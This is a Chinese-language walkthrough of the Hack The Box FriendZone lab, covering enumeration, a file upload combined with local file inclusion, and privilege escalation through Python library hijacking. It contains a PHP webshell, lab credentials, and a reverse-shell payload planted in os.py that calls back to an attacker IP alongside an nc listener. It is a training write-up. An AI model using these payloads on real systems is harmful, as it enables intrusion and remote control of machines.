hack the box 之 frindzone靶场练习
字数 1080 2025-08-11 08:35:36

FriendZone靶场渗透测试教学文档

1. 靶场信息收集

1.1 初始扫描

首先对目标进行端口扫描,发现开放以下服务:

  • 21 (FTP)
  • 22 (SSH)
  • 53 (DNS)
  • 80 (HTTP)
  • 139/445 (SMB)
  • 443 (HTTPS)

1.2 域名解析配置

修改本地hosts文件,添加以下条目:

<靶机IP> friendzone.red

2. Web服务渗透

2.1 初始访问

访问以下URL:

  • http://friendzone.red
  • https://friendzone.red

发现443端口内容与80端口不同,值得重点关注。

2.2 目录扫描

使用工具扫描网站目录,发现以下重要路径:

  • /admin/ (空目录)
  • /js/ (包含动态变化的字符串,可能有用)

2.3 子域名枚举

发现三个子域名:

  1. administrator1.friendzone.red
  2. hr.friendzone.red
  3. uploads.friendzone.red

3. 文件上传漏洞利用

3.1 上传测试

在https://friendzone.red的上传页面尝试上传PHP一句话木马:

<?php system($_GET['cmd']); ?>

上传成功但不知道文件存储路径。

3.2 SMB服务利用

通过SMB服务发现有用信息:

  • 访问SMB共享发现credentials.txt文件
  • 内容包含疑似账号密码:
    creds for the admin THING:
    admin:WORKWORKHhallelujah@#
    

使用这些凭证成功登录administrator1.friendzone.red。

4. 文件包含漏洞利用

4.1 漏洞发现

访问dashboard.php时发现需要传参:

dashboard.php?image_id=a.jpg&pagename=photo

尝试修改pagename参数进行文件包含测试:

dashboard.php?image_id=a.jpg&pagename=/etc/passwd

发现仅能包含特定格式文件(如.php)。

4.2 结合上传漏洞

通过SMB上传webshell到可预测路径:

/etc/development/2.php

通过文件包含执行webshell:

dashboard.php?image_id=a.jpg&pagename=/etc/development/2.php&cmd=id

成功获取低权限shell。

5. 权限提升

5.1 信息收集

查看系统信息:

whoami
cat /etc/passwd
find / -perm -4000 2>/dev/null

发现两个用户:root和friend。

5.2 进程监控

使用pspy监控进程,发现定期执行的脚本:

/usr/bin/python /opt/server_admin/report.py

查看report.py内容:

#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer

5.3 Python库劫持

发现当前用户可写os.py文件,通过修改os.py实现权限提升:

  1. 编辑os.py添加反弹shell代码:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<攻击机IP>",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
  1. 在攻击机监听:
nc -lvnp 4444

等待report.py执行,获取root权限shell。

6. 总结

本靶场渗透路径:

  1. 通过SMB服务获取管理员凭证
  2. 利用文件上传和文件包含漏洞获取webshell
  3. 通过Python库劫持实现权限提升

关键点:

  • 子域名枚举发现管理后台
  • SMB共享信息泄露获取凭证
  • 文件上传+文件包含组合利用
  • Python库劫持提权技术
FriendZone靶场渗透测试教学文档 1. 靶场信息收集 1.1 初始扫描 首先对目标进行端口扫描,发现开放以下服务: 21 (FTP) 22 (SSH) 53 (DNS) 80 (HTTP) 139/445 (SMB) 443 (HTTPS) 1.2 域名解析配置 修改本地hosts文件,添加以下条目: 2. Web服务渗透 2.1 初始访问 访问以下URL: http://friendzone.red https://friendzone.red 发现443端口内容与80端口不同,值得重点关注。 2.2 目录扫描 使用工具扫描网站目录,发现以下重要路径: /admin/ (空目录) /js/ (包含动态变化的字符串,可能有用) 2.3 子域名枚举 发现三个子域名: administrator1.friendzone.red hr.friendzone.red uploads.friendzone.red 3. 文件上传漏洞利用 3.1 上传测试 在https://friendzone.red的上传页面尝试上传PHP一句话木马: 上传成功但不知道文件存储路径。 3.2 SMB服务利用 通过SMB服务发现有用信息: 访问SMB共享发现credentials.txt文件 内容包含疑似账号密码: 使用这些凭证成功登录administrator1.friendzone.red。 4. 文件包含漏洞利用 4.1 漏洞发现 访问dashboard.php时发现需要传参: 尝试修改pagename参数进行文件包含测试: 发现仅能包含特定格式文件(如.php)。 4.2 结合上传漏洞 通过SMB上传webshell到可预测路径: 通过文件包含执行webshell: 成功获取低权限shell。 5. 权限提升 5.1 信息收集 查看系统信息: 发现两个用户:root和friend。 5.2 进程监控 使用pspy监控进程,发现定期执行的脚本: 查看report.py内容: 5.3 Python库劫持 发现当前用户可写os.py文件,通过修改os.py实现权限提升: 编辑os.py添加反弹shell代码: 在攻击机监听: 等待report.py执行,获取root权限shell。 6. 总结 本靶场渗透路径: 通过SMB服务获取管理员凭证 利用文件上传和文件包含漏洞获取webshell 通过Python库劫持实现权限提升 关键点: 子域名枚举发现管理后台 SMB共享信息泄露获取凭证 文件上传+文件包含组合利用 Python库劫持提权技术